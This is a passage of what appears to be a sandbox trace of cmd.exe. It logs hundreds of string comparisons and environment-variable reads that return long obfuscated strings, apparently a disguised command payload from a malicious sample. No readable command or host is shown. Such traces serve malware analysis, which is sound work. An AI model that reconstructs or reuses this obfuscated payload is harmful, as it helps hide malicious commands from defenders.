(_String1="eo", _String2="AC", _MaxCount=0x2) returned 4 [0102.185] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14 [0102.185] _wcsnicmp (_String1="2v", _String2="AC", _MaxCount=0x2) returned -47 [0102.185] _wcsnicmp (_String1="vT", _String2="AC", _MaxCount=0x2) returned 21 [0102.186] _wcsnicmp (_String1="Td", _String2="AC", _MaxCount=0x2) returned 19 [0102.186] _wcsnicmp (_String1="d]", _String2="AC", _MaxCount=0x2) returned 3 [0102.186] _wcsnicmp (_String1="]F", _String2="AC", _MaxCount=0x2) returned -4 [0102.186] _wcsnicmp (_String1="F3", _String2="AC", _MaxCount=0x2) returned 5 [0102.186] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46 [0102.186] _wcsnicmp (_String1="pb", _String2="AC", _MaxCount=0x2) returned 15 [0102.186] _wcsnicmp (_String1="bf", _String2="AC", _MaxCount=0x2) returned 1 [0102.186] _wcsnicmp (_String1="f6", _String2="AC", _MaxCount=0x2) returned 5 [0102.186] _wcsnicmp (_String1="6K", _String2="AC", _MaxCount=0x2) returned -43 [0102.186] _wcsnicmp (_String1="K'", _String2="AC", _MaxCount=0x2) returned 10 [0102.186] _wcsnicmp (_String1="'.", _String2="AC", _MaxCount=0x2) returned -58 [0102.186] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51 [0102.186] _wcsnicmp (_String1="Y1", _String2="AC", _MaxCount=0x2) returned 24 [0102.186] _wcsnicmp (_String1="1.", _String2="AC", _MaxCount=0x2) returned -48 [0102.186] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51 [0102.186] _wcsnicmp (_String1="Y@", _String2="AC", _MaxCount=0x2) returned 24 [0102.186] _wcsnicmp (_String1="@e", _String2="AC", _MaxCount=0x2) returned -33 [0102.186] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4 [0102.186] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14 [0102.186] _wcsnicmp (_String1="2h", _String2="AC", _MaxCount=0x2) returned -47 [0102.186] _wcsnicmp (_String1="h8", _String2="AC", _MaxCount=0x2) returned 7 [0102.186] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.186] _wcsnicmp (_String1="PZ", _String2="AC", _MaxCount=0x2) returned 15 [0102.186] _wcsnicmp (_String1="Z7", _String2="AC", _MaxCount=0x2) returned 25 [0102.186] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42 [0102.186] _wcsnicmp (_String1="y8", _String2="AC", _MaxCount=0x2) returned 24 [0102.186] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.186] _wcsnicmp (_String1="P3", _String2="AC", _MaxCount=0x2) returned 15 [0102.186] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46 [0102.201] _wcsnicmp (_String1="pT", _String2="AC", _MaxCount=0x2) returned 15 [0102.201] _wcsnicmp (_String1="Td", _String2="AC", _MaxCount=0x2) returned 19 [0102.201] _wcsnicmp (_String1="de", _String2="AC", _MaxCount=0x2) returned 3 [0102.201] _wcsnicmp (_String1="e3", _String2="AC", _MaxCount=0x2) returned 4 [0102.201] _wcsnicmp (_String1="37", _String2="AC", _MaxCount=0x2) returned -46 [0102.201] _wcsnicmp (_String1="7{", _String2="AC", _MaxCount=0x2) returned -42 [0102.201] _wcsnicmp (_String1="{j", _String2="AC", _MaxCount=0x2) returned 26 [0102.201] _wcsnicmp (_String1="jU", _String2="AC", _MaxCount=0x2) returned 9 [0102.202] _wcsnicmp (_String1="Un", _String2="AC", _MaxCount=0x2) returned 20 [0102.202] _wcsnicmp (_String1="nP", _String2="AC", _MaxCount=0x2) returned 13 [0102.202] _wcsnicmp (_String1="Pj", _String2="AC", _MaxCount=0x2) returned 15 [0102.202] _wcsnicmp (_String1="jy", _String2="AC", _MaxCount=0x2) returned 9 [0102.202] _wcsnicmp (_String1="y+", _String2="AC", _MaxCount=0x2) returned 24 [0102.202] _wcsnicmp (_String1="+@", _String2="AC", _MaxCount=0x2) returned -54 [0102.202] _wcsnicmp (_String1="@e", _String2="AC", _MaxCount=0x2) returned -33 [0102.202] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4 [0102.202] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14 [0102.202] _wcsnicmp (_String1="2%", _String2="AC", _MaxCount=0x2) returned -47 [0102.202] _wcsnicmp (_String1="%z", _String2="AC", _MaxCount=0x2) returned -60 [0102.202] _wcsnicmp (_String1="zw", _String2="AC", _MaxCount=0x2) returned 25 [0102.202] _wcsnicmp (_String1="wL", _String2="AC", _MaxCount=0x2) returned 22 [0102.202] _wcsnicmp (_String1="Lh", _String2="AC", _MaxCount=0x2) returned 11 [0102.202] _wcsnicmp (_String1="hw", _String2="AC", _MaxCount=0x2) returned 7 [0102.202] _wcsnicmp (_String1="wL", _String2="AC", _MaxCount=0x2) returned 22 [0102.202] _wcsnicmp (_String1="LT", _String2="AC", _MaxCount=0x2) returned 11 [0102.202] _wcsnicmp (_String1="Td", _String2="AC", _MaxCount=0x2) returned 19 [0102.202] _wcsnicmp (_String1="d3", _String2="AC", _MaxCount=0x2) returned 3 [0102.202] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46 [0102.202] _wcsnicmp (_String1="pe", _String2="AC", _MaxCount=0x2) returned 15 [0102.202] _wcsnicmp (_String1="e3", _String2="AC", _MaxCount=0x2) returned 4 [0102.202] _wcsnicmp (_String1="37", _String2="AC", _MaxCount=0x2) returned -46 [0102.203] _wcsnicmp (_String1="7{", _String2="AC", _MaxCount=0x2) returned -42 [0102.203] _wcsnicmp (_String1="{j", _String2="AC", _MaxCount=0x2) returned 26 [0102.203] _wcsnicmp (_String1="jU", _String2="AC", _MaxCount=0x2) returned 9 [0102.203] _wcsnicmp (_String1="Un", _String2="AC", _MaxCount=0x2) returned 20 [0102.203] _wcsnicmp (_String1="n#", _String2="AC", _MaxCount=0x2) returned 13 [0102.203] _wcsnicmp (_String1="#P", _String2="AC", _MaxCount=0x2) returned -62 [0102.203] _wcsnicmp (_String1="Pj", _String2="AC", _MaxCount=0x2) returned 15 [0102.203] _wcsnicmp (_String1="jy", _String2="AC", _MaxCount=0x2) returned 9 [0102.203] _wcsnicmp (_String1="y+", _String2="AC", _MaxCount=0x2) returned 24 [0102.203] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.203] _wcsnicmp (_String1="2X", _String2="AC", _MaxCount=0x2) returned -47 [0102.203] _wcsnicmp (_String1="Xb", _String2="AC", _MaxCount=0x2) returned 23 [0102.203] _wcsnicmp (_String1="b2", _String2="AC", _MaxCount=0x2) returned 1 [0102.203] _wcsnicmp (_String1="2)", _String2="AC", _MaxCount=0x2) returned -47 [0102.203] _wcsnicmp (_String1=").", _String2="AC", _MaxCount=0x2) returned -56 [0102.203] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51 [0102.203] _wcsnicmp (_String1="Y1", _String2="AC", _MaxCount=0x2) returned 24 [0102.203] _wcsnicmp (_String1="11", _String2="AC", _MaxCount=0x2) returned -48 [0102.203] _wcsnicmp (_String1="12", _String2="AC", _MaxCount=0x2) returned -48 [0102.203] _wcsnicmp (_String1="2e", _String2="AC", _MaxCount=0x2) returned -47 [0102.203] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4 [0102.203] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14 [0102.203] _wcsnicmp (_String1="22", _String2="AC", _MaxCount=0x2) returned -47 [0102.203] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.203] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.203] _wcsnicmp (_String1="26", _String2="AC", _MaxCount=0x2) returned -47 [0102.203] _wcsnicmp (_String1="63", _String2="AC", _MaxCount=0x2) returned -43 [0102.203] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46 [0102.203] _wcsnicmp (_String1="p.", _String2="AC", _MaxCount=0x2) returned 15 [0102.203] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51 [0102.204] _wcsnicmp (_String1="YF", _String2="AC", _MaxCount=0x2) returned 24 [0102.204] _wcsnicmp (_String1="F3", _String2="AC", _MaxCount=0x2) returned 5 [0102.204] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46 [0102.204] _wcsnicmp (_String1="p2", _String2="AC", _MaxCount=0x2) returned 15 [0102.204] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.204] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.204] _wcsnicmp (_String1="2]", _String2="AC", _MaxCount=0x2) returned -47 [0102.204] _wcsnicmp (_String1="]2", _String2="AC", _MaxCount=0x2) returned -4 [0102.204] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.204] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.204] _wcsnicmp (_String1="2.", _String2="AC", _MaxCount=0x2) returned -47 [0102.204] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51 [0102.204] _wcsnicmp (_String1="Yq", _String2="AC", _MaxCount=0x2) returned 24 [0102.204] _wcsnicmp (_String1="qF", _String2="AC", _MaxCount=0x2) returned 16 [0102.204] _wcsnicmp (_String1="F3", _String2="AC", _MaxCount=0x2) returned 5 [0102.204] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46 [0102.204] _wcsnicmp (_String1="pb", _String2="AC", _MaxCount=0x2) returned 15 [0102.204] _wcsnicmp (_String1="bf", _String2="AC", _MaxCount=0x2) returned 1 [0102.204] _wcsnicmp (_String1="fN", _String2="AC", _MaxCount=0x2) returned 5 [0102.204] _wcsnicmp (_String1="N2", _String2="AC", _MaxCount=0x2) returned 13 [0102.204] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.204] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.204] _wcsnicmp (_String1="28", _String2="AC", _MaxCount=0x2) returned -47 [0102.204] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.204] _wcsnicmp (_String1="P4", _String2="AC", _MaxCount=0x2) returned 15 [0102.204] _wcsnicmp (_String1="4-", _String2="AC", _MaxCount=0x2) returned -45 [0102.204] _wcsnicmp (_String1="-P", _String2="AC", _MaxCount=0x2) returned -52 [0102.204] _wcsnicmp (_String1="Pj", _String2="AC", _MaxCount=0x2) returned 15 [0102.204] _wcsnicmp (_String1="j3", _String2="AC", _MaxCount=0x2) returned 9 [0102.204] _wcsnicmp (_String1="3Q", _String2="AC", _MaxCount=0x2) returned -46 [0102.205] _wcsnicmp (_String1="Qe", _String2="AC", _MaxCount=0x2) returned 16 [0102.205] _wcsnicmp (_String1="eA", _String2="AC", _MaxCount=0x2) returned 4 [0102.205] _wcsnicmp (_String1="AC", _String2="AC", _MaxCount=0x2) returned 0 [0102.205] _wcsnicmp (_String1="h8", _String2="AC", _MaxCount=0x2) returned 7 [0102.205] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.205] _wcsnicmp (_String1="PZ", _String2="AC", _MaxCount=0x2) returned 15 [0102.205] _wcsnicmp (_String1="Z8", _String2="AC", _MaxCount=0x2) returned 25 [0102.205] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.205] _wcsnicmp (_String1="P,", _String2="AC", _MaxCount=0x2) returned 15 [0102.205] _wcsnicmp (_String1=",2", _String2="AC", _MaxCount=0x2) returned -53 [0102.205] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.205] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.205] _wcsnicmp (_String1="2G", _String2="AC", _MaxCount=0x2) returned -47 [0102.205] _wcsnicmp (_String1="GC", _String2="AC", _MaxCount=0x2) returned 6 [0102.205] _wcsnicmp (_String1="C7", _String2="AC", _MaxCount=0x2) returned 2 [0102.205] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42 [0102.205] _wcsnicmp (_String1="y2", _String2="AC", _MaxCount=0x2) returned 24 [0102.205] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.205] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.205] _wcsnicmp (_String1="2[", _String2="AC", _MaxCount=0x2) returned -47 [0102.205] _wcsnicmp (_String1="[2", _String2="AC", _MaxCount=0x2) returned -6 [0102.205] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.205] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.205] _wcsnicmp (_String1="27", _String2="AC", _MaxCount=0x2) returned -47 [0102.205] _wcsnicmp (_String1="7K", _String2="AC", _MaxCount=0x2) returned -42 [0102.205] _wcsnicmp (_String1="K2", _String2="AC", _MaxCount=0x2) returned 10 [0102.205] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.205] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.205] _wcsnicmp (_String1="23", _String2="AC", _MaxCount=0x2) returned -47 [0102.205] _wcsnicmp (_String1="37", _String2="AC", _MaxCount=0x2) returned -46 [0102.205] _wcsnicmp (_String1="73", _String2="AC", _MaxCount=0x2) returned -42 [0102.206] _wcsnicmp (_String1="37", _String2="AC", _MaxCount=0x2) returned -46 [0102.206] _wcsnicmp (_String1="7-", _String2="AC", _MaxCount=0x2) returned -42 [0102.206] _wcsnicmp (_String1="-%", _String2="AC", _MaxCount=0x2) returned -52 [0102.206] _wcsnicmp (_String1="%2", _String2="AC", _MaxCount=0x2) returned -60 [0102.206] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.206] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.206] _wcsnicmp (_String1="2`", _String2="AC", _MaxCount=0x2) returned -47 [0102.206] _wcsnicmp (_String1="`k", _String2="AC", _MaxCount=0x2) returned -1 [0102.206] _wcsnicmp (_String1="k7", _String2="AC", _MaxCount=0x2) returned 10 [0102.206] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42 [0102.206] _wcsnicmp (_String1="y8", _String2="AC", _MaxCount=0x2) returned 24 [0102.206] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.206] _wcsnicmp (_String1="P.", _String2="AC", _MaxCount=0x2) returned 15 [0102.206] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51 [0102.206] _wcsnicmp (_String1="Y-", _String2="AC", _MaxCount=0x2) returned 24 [0102.206] _wcsnicmp (_String1="-7", _String2="AC", _MaxCount=0x2) returned -52 [0102.206] _wcsnicmp (_String1="7K", _String2="AC", _MaxCount=0x2) returned -42 [0102.206] _wcsnicmp (_String1="Ke", _String2="AC", _MaxCount=0x2) returned 10 [0102.206] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4 [0102.206] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14 [0102.206] _wcsnicmp (_String1="22", _String2="AC", _MaxCount=0x2) returned -47 [0102.206] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.206] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.206] _wcsnicmp (_String1="2e", _String2="AC", _MaxCount=0x2) returned -47 [0102.206] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4 [0102.206] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14 [0102.206] _wcsnicmp (_String1="28", _String2="AC", _MaxCount=0x2) returned -47 [0102.206] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.206] _wcsnicmp (_String1="Pm", _String2="AC", _MaxCount=0x2) returned 15 [0102.206] _wcsnicmp (_String1="m3", _String2="AC", _MaxCount=0x2) returned 12 [0102.206] _wcsnicmp (_String1="3Q", _String2="AC", _MaxCount=0x2) returned -46 [0102.206] _wcsnicmp (_String1="Qe", _String2="AC", _MaxCount=0x2) returned 16 [0102.206] _wcsnicmp (_String1="eA", _String2="AC", _MaxCount=0x2) returned 4 [0102.206] _wcsnicmp (_String1="AC", _String2="AC", _MaxCount=0x2) returned 0 [0102.206] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46 [0102.207] _wcsnicmp (_String1="p`", _String2="AC", _MaxCount=0x2) returned 15 [0102.207] _wcsnicmp (_String1="`2", _String2="AC", _MaxCount=0x2) returned -1 [0102.207] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.207] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.207] _wcsnicmp (_String1="2q", _String2="AC", _MaxCount=0x2) returned -47 [0102.207] _wcsnicmp (_String1="qF", _String2="AC", _MaxCount=0x2) returned 16 [0102.207] _wcsnicmp (_String1="F3", _String2="AC", _MaxCount=0x2) returned 5 [0102.207] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46 [0102.207] _wcsnicmp (_String1="pb", _String2="AC", _MaxCount=0x2) returned 15 [0102.207] _wcsnicmp (_String1="bf", _String2="AC", _MaxCount=0x2) returned 1 [0102.207] _wcsnicmp (_String1="fN", _String2="AC", _MaxCount=0x2) returned 5 [0102.207] _wcsnicmp (_String1="N6", _String2="AC", _MaxCount=0x2) returned 13 [0102.207] _wcsnicmp (_String1="6m", _String2="AC", _MaxCount=0x2) returned -43 [0102.207] _wcsnicmp (_String1="m8", _String2="AC", _MaxCount=0x2) returned 12 [0102.207] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.207] _wcsnicmp (_String1="P.", _String2="AC", _MaxCount=0x2) returned 15 [0102.207] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51 [0102.207] _wcsnicmp (_String1="YA", _String2="AC", _MaxCount=0x2) returned 24 [0102.207] _wcsnicmp (_String1="AC", _String2="AC", _MaxCount=0x2) returned 0 [0102.207] _wcsnicmp (_String1="67", _String2="AC", _MaxCount=0x2) returned -43 [0102.207] _wcsnicmp (_String1="7j", _String2="AC", _MaxCount=0x2) returned -42 [0102.207] _wcsnicmp (_String1="jh", _String2="AC", _MaxCount=0x2) returned 9 [0102.207] _wcsnicmp (_String1="h`", _String2="AC", _MaxCount=0x2) returned 7 [0102.207] _wcsnicmp (_String1="`e", _String2="AC", _MaxCount=0x2) returned -1 [0102.207] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4 [0102.207] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14 [0102.207] _wcsnicmp (_String1="2G", _String2="AC", _MaxCount=0x2) returned -47 [0102.207] _wcsnicmp (_String1="GC", _String2="AC", _MaxCount=0x2) returned 6 [0102.207] _wcsnicmp (_String1="C7", _String2="AC", _MaxCount=0x2) returned 2 [0102.207] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42 [0102.207] _wcsnicmp (_String1="y8", _String2="AC", _MaxCount=0x2) returned 24 [0102.207] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41 [0102.207] _wcsnicmp (_String1="Pm", _String2="AC", _MaxCount=0x2) returned 15 [0102.207] _wcsnicmp (_String1="m'", _String2="AC", _MaxCount=0x2) returned 12 [0102.207] _wcsnicmp (_String1="'j", _String2="AC", _MaxCount=0x2) returned -58 [0102.207] _wcsnicmp (_String1="jU", _String2="AC", _MaxCount=0x2) returned 9 [0102.207] _wcsnicmp (_String1="U]", _String2="AC", _MaxCount=0x2) returned 20 [0102.208] _wcsnicmp (_String1="]6", _String2="AC", _MaxCount=0x2) returned -4 [0102.208] _wcsnicmp (_String1="62", _String2="AC", _MaxCount=0x2) returned -43 [0102.208] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.208] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.208] _wcsnicmp (_String1="24", _String2="AC", _MaxCount=0x2) returned -47 [0102.208] _wcsnicmp (_String1="42", _String2="AC", _MaxCount=0x2) returned -45 [0102.208] _wcsnicmp (_String1="2+", _String2="AC", _MaxCount=0x2) returned -47 [0102.208] _wcsnicmp (_String1="+2", _String2="AC", _MaxCount=0x2) returned -54 [0102.208] _wcsnicmp (_String1="2Z", _String2="AC", _MaxCount=0x2) returned -47 [0102.208] GetConsoleTitleW (in: lpConsoleTitle=0x12f340, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.208] wcsncmp (_String1="\\", _String2="/", _MaxCount=0x4) returned 45 [0102.209] GetEnvironmentVariableW (in: lpName="\\,}_", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="eo28PGC7y.Y.Yeo2vTd]F3pbf6K'.Y1.Y@eo2h8PZ7y8P3pTde37{jUnPjy+@eo2%zwLhwLTd3pe37{jUn#Pjy+2Xb2).Y112eo22+263p.YF3p2+2]2+2.YqF3pbfN2+28P4-Pj3Qe9h8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8P.Y-7Keo22+2eo28Pm3Qe93p`2+2qF3pbfN6m8P.Y967jh`eo2GC7y8Pm'jU]62+242+2Zn.967[2+2F3pbfbfk7yuuQe37eo22+26KF3p].Yjh`eo2GC7y8P2+2m'2+2jU]64Zn2+2.'u2+2ZGC7ym6k7y11F3p].YqF3pbfN8PGC7y'a2+28P3Qe97yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371962+272+2%zwLhGC7yGC7yk7yeo28 ,.,.Zm6.2+28Peo24ax'Zm.3Qe9X2+27',X2+2m,.9 ,.F3pjUn,.2+2.6GC7y4axuQe7yeo2K_X'2+2k7yn.9672+2))[2+2F3pbfbfk7yuuQe2+2mQe6KF3p].Yu`2+2GC7y2+28P{Pjy.Y2+24axjUnH [1 '2+2'H)3Qe92+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQe7.YZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQe2+2GC7y2+2GC7y6KF3pbfbfk7yuuQe37eo2'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQe76xd2+2F3pbf2+2bfk7yuuQe_2+2)[F3pbfbfk7yuuQemQe2+2{F3pbfbfk7yuuQe2+2_:H4axiy+F3pbfbfk7yuuQe7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQeGC7yGC7y'u-3Qe96n37jUn5):jUnbf)-3Qe9X]2+21F3pbfbfk7yuuQeGC7y2+2GC7y'6wL.Y-3Qe96n37.YjUn5))}2+2}[2+2e2+2wLXb12+2{jh`eo2GC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2.2+2Pjy8 8 7Kjh7yjU6ee'2+26wL8PGC7yjh2+2GC7y]Zn.1F3pbfbf2+2k7yuuQe2+2mQe{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL1296726xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&.Yeo28P%.Y.Y6jUe/`6KwL,%zwLhPj.Y1.Z.YF3pbf6Re7K3Qe93p8P8 8P:XbGC7y)'7y6TdvwL'enF3pbfPjQewL7yjU6XmuQe6njU'eqF3pbfN7yPjQe8Peo27yjU6RZGC7yy%11Tdjh.Y8PqF3pbfN7y8 eo23Td]7y)'F3pbf6Td38P.Y.Y).Y.Y^^^|GC7yyPj4wLReo2h8PZ7ywL3pTd.Y.Y-nXqF3pbfNZqF3pbfN%wL]67yjU6%e.Y.Y-qF3pbfNX3pPj.Y-4ZqF3pbfN.Y%zwLhe37378Pn.Y-8P78P,v%ePjqF3pbfNk7yPjTde,.Y3Qe9`GC7yy7Kjhjh.Y.Y-nPjGC7yy]PjzwLhe3p8P.Y.Y-7yjU6PjmuQe7KqF3pbfN37.Y.Y.Y.Y.Y^^^^^^^&1.Y@8PqF3pbfN7y8 7yjU6Xmeo2GC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXen22)1@Znk7yv%.Y).Y.Y^&^&.Y.Y,m37'8P7wL.Y.Y.Y,.,.Yo637Z/T.o") returned 0x7ee [0102.209] GetConsoleTitleW (in: lpConsoleTitle=0x12f280, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.209] wcsncmp (_String1="`?", _String2="/", _MaxCount=0x4) returned 49 [0102.210] GetEnvironmentVariableW (in: lpName="`?", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="s8PGC7y.Y.YsvTd]F3pbf6K'.Y1.Y@sh8PZ7y8P3pTde37{jUnPjy+@s%zwLhwLTd3pe37{jUn#Pjy+2Xb2).Y112s2+263p.YF3p2+2]2+2.YqF3pbfN2+28P4-Pj3Qe9h8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8P.Y-7Ks2+2s8Pm3Qe93p`2+2qF3pbfN6m8P.Y967jh`sGC7y8Pm'jU]62+242+2Zn.967[2+2F3pbfbfk7yuuQe37s2+26KF3p].Yjh`sGC7y8P2+2m'2+2jU]64Zn2+2.'u2+2ZGC7ym6k7y11F3p].YqF3pbfN8PGC7y'a2+28P3Qe97yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371962+272+2%zwLhGC7yGC7yk7ys8 ,.,.Zm6.2+28Ps4ax'Zm.3Qe9X2+27',X2+2m,.9 ,.F3pjUn,.2+2.6GC7y4axuQe7ysK_X'2+2k7yn.9672+2))[2+2F3pbfbfk7yuuQe2+2mQe6KF3p].Yu`2+2GC7y2+28P{Pjy.Y2+24axjUnH [1 '2+2'H)3Qe92+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQe7.YZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQe2+2GC7y2+2GC7y6KF3pbfbfk7yuuQe37s'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQe76xd2+2F3pbf2+2bfk7yuuQe_2+2)[F3pbfbfk7yuuQemQe2+2{F3pbfbfk7yuuQe2+2_:H4axiy+F3pbfbfk7yuuQe7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQeGC7yGC7y'u-3Qe96n37jUn5):jUnbf)-3Qe9X]2+21F3pbfbfk7yuuQeGC7y2+2GC7y'6wL.Y-3Qe96n37.YjUn5))}2+2}[2+2e2+2wLXb12+2{jh`sGC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2.2+2Pjy8 8 7Kjh7yjU6ee'2+26wL8PGC7yjh2+2GC7y]Zn.1F3pbfbf2+2k7yuuQe2+2mQe{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL1296726xd{s%Ren6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%Ren6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%Ren6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&.Ys8P%.Y.Y6jUe/`6KwL,%zwLhPj.Y1.Z.YF3pbf6Re7K3Qe93p8P8 8P:XbGC7y)'7y6TdvwL'enF3pbfPjQewL7yjU6XmuQe6njU'eqF3pbfN7yPjQe8Ps7yjU6RZGC7yy%11Tdjh.Y8PqF3pbfN7y8 s3Td]7y)'F3pbf6Td38P.Y.Y).Y.Y^^^|GC7yyPj4wLRsh8PZ7ywL3pTd.Y.Y-nXqF3pbfNZqF3pbfN%wL]67yjU6%e.Y.Y-qF3pbfNX3pPj.Y-4ZqF3pbfN.Y%zwLhe37378Pn.Y-8P78P,v%ePjqF3pbfNk7yPjTde,.Y3Qe9`GC7yy7Kjhjh.Y.Y-nPjGC7yy]PjzwLhe3p8P.Y.Y-7yjU6PjmuQe7KqF3pbfN37.Y.Y.Y.Y.Y^^^^^^^&1.Y@8PqF3pbfN7y8 7yjU6XmsGC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXen22)1@Znk7yv%.Y).Y.Y^&^&.Y.Y,m37'8P7wL.Y.Y.Y,.,.Yo637Z/T.o") returned 